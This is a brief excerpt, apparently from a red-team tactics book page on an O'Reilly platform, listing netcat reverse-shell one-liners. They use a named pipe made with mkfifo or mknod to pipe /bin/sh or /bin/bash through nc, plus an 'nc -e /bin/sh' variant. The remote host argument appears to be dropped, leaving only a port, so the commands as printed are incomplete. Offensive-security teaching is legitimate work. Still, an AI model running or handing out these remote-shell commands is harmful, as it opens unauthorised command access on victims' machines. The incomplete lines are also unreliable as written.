Netcat reverse shell

Without GAPING_SECURITY_HOLE (using mkfifo):

rm -f /tmp/a; mkfifo /tmp/a; nc 8080 0</tmp/a | /bin/sh >/tmp/a 2>&1; rm /tmp/a 

Or using mknod:

rm -f /tmp/a; mknod /tmp/a p && nc 8080 0</tmp/a | /bin/bash 1>/tmp/a 


nc 8080 -e /bin/sh 

Get Hands-On Red Team Tactics now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.